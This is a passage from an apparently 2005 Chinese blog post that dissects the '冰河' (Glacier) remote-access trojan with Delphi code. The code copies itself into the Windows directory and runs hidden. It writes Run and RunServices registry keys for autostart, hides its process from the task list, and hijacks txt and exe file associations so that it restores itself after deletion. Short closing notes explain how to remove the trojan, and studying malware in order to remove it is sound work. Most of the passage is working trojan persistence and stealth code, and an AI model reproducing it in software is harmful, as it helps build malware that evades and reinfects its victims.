if application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..
begin
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下}
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件
application.Terminate;//退出
end;
with TRegistry.Create do
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( K, TRUE );
WriteString( 'syspler', application.ExeName );
finally
free;
end;
end;
为了让程序用ALT+DEL+CTRL看不见,在implementation后添加声明:
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';
再在上面的窗口Create事件加上一句：RegisterServiceProcess(GetCurrentProcessID, 1);//隐藏
注意:如果系统为NT,应该改用把自己挂到别的进程里面实现真正的隐藏.这样一来用进程查看器也无法发现其进程.具体可以参考BO2K的代码.如果你还是要用上面的方法,那么可以这样:
function My_SelfHide: Boolean;
type
TRegisterServiceProcess = function(dwProcessID, dwType: DWord): DWORD; stdcall;
var
hNdl: THandle;
RegisterServiceProcess: TRegisterServiceProcess;
begin
Result := False;
if Win32Platform <> VER_PLATFORM_WIN32_NT then //不是NT
begin
hNdl := LoadLibrary('KERNEL32.DLL');
RegisterServiceProcess := GetProcAddress(hNdl, 'RegisterServiceProcess');
RegisterServiceProcess(GetCurrentProcessID, 1);
FreeLibrary(hNdl);
Result := True;
end
else
Exit;
end;

启示1:当我们中了“冰河”,如果被对方上了密码而无法自己卸载时,可以先找出是什么文件,然后自己配置一个没有密码的来运行,这样它就会把原来有密码的覆盖掉,自己就可以轻松用它的卸载功能把它卸掉.如果你会编程,也可以自己写一个"清除器"了,方法是先查找到窗口名,向它发送退出命令,再把它删除即可.

(2)

“冰河”的自我功能保护很强,它一般通过Txt或Exe文件关联来达到自我恢复.所以有很多人明明把它杀掉了,但重新启动时又会出现.下面举以Txt文件关联为例.
打开Delphi,新建一个工程,在窗口的Create事件中写代码:
uses Registry
procedure TForm1.FormCreate(Sender: TObject);
const Kkk = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
const K = '\txtfile\shell\open\command';
var sFileName:string;
begin

//******************************************************
with TRegistry.Create do //写注册表,让程序跟文本文件关联
try
RootKey := HKEY_CLASSES_ROOT;
OpenKey( K, TRUE );
{Write by Lovejingtao,http://lovejingtao.126.com}
WriteString( '', application.ExeName+' "%1" ');
{Write by Lovejingtao,lovejingtao@21cn.com}
finally
free;
end;
//*******************************************************
with TRegistry.Create do //写注册表，每次启动时自动运行
try
RootKey := HKEY_LOCAL_MACHINE;
OpenKey( Kkk, TRUE );
WriteString( 'myTray', application.ExeName );
finally
free;
end;
//********************************************************
if FileExists(pchar(Getwindir+'Sysplay.exe'))=false then//如果文件已经删除
begin
copyfile;//自定义拷贝资源文件过程
winexec(pchar(Getwindir+'Sysplay.exe'),sw_hide);
end;

//**********************************************************
if ParamCount>0 then begin (* 有执行参数传入 *)
sFileName:=ParamStr(1); (* 取得参数内容 *)
winexec(pchar('Notepad.exe '+sFileName),sw_show);(*用记事本打开*)
//winexec(pchar( sFileName),sw_show);
end;
//*******************************************************
application.Terminate;//退出
end;
如果要改为与Exe文件关联,只要把"const K = '\txtfile\shell\open\command';"改为
"const K = '\exefile\shell\open\command';",把"winexec(pchar('Notepad.exe '+sFileName),sw_show);"
改为"winexec(pchar( sFileName),sw_show);"即可.当然,还要加入是否退出Windows而运行的Rundll32.dll,
否则会因为关联Exe文件而退不出Windows.

启示2:手工删除“冰河”时,还要改掉它的保护功能,不能让它恢复.如果是关联了文本文件,先改注册表让它不能自动运行,重启后不要打开文本文件,立刻进到其安装目录把它删除.如果是关联了Exe文件,那只有回到Dos下删.切记:一定要把两个文件同时删掉,否则你重启后会发现文件又恢复了.

－－－来自：陈经韬

cyberfan 2005-08-12 15:54 发表评论